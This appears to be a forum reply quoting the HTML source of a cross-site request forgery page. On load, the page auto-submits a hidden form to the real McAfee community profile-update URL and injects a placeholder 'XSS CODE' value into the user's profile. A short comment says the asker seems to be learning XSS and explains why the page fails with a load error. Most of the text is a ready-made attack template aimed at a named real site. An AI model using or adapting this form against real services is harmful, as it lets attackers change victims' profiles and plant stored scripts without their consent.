Source code of that page:
CODE
<html>
<head></head>
<body onLoad=java script:document.form.submit()>
<form action="http://community.mcafee.com/profile.php?do=updateprofile";
method="POST" name="form">
<input type="hidden" name="s" value="">
<input type="hidden" name="do" value="updateprofile">
<input type="hidden" name="customtext" value="###########XSS CODE#########">
<!-- Attacker's XSS Code -->
<input type="hidden" name="month" value="-1">
<input type="hidden" name="day" value="-1">
<input type="hidden" name="year" value="">
<input type="hidden" name="oldbirthday" value="">
<input type="hidden" name="showbirthday" value="2">
<input type="hidden" name="homepage" value="">
<input type="hidden" name="icq" value="">
<input type="hidden" name="aim" value="">
<input type="hidden" name="msn" value="">
<input type="hidden" name="yahoo" value="">
<input type="hidden" name="skype" value="">
</form>
</body>
</html>
Appearently you are learning about XSS attack
also,
the reason it's not working because as soon as you finish loading this page, you'll be automatically redirect to "http://community.mcafee.com/profile.php?do=updateprofile" page, which will give you a "Page Load Error" message.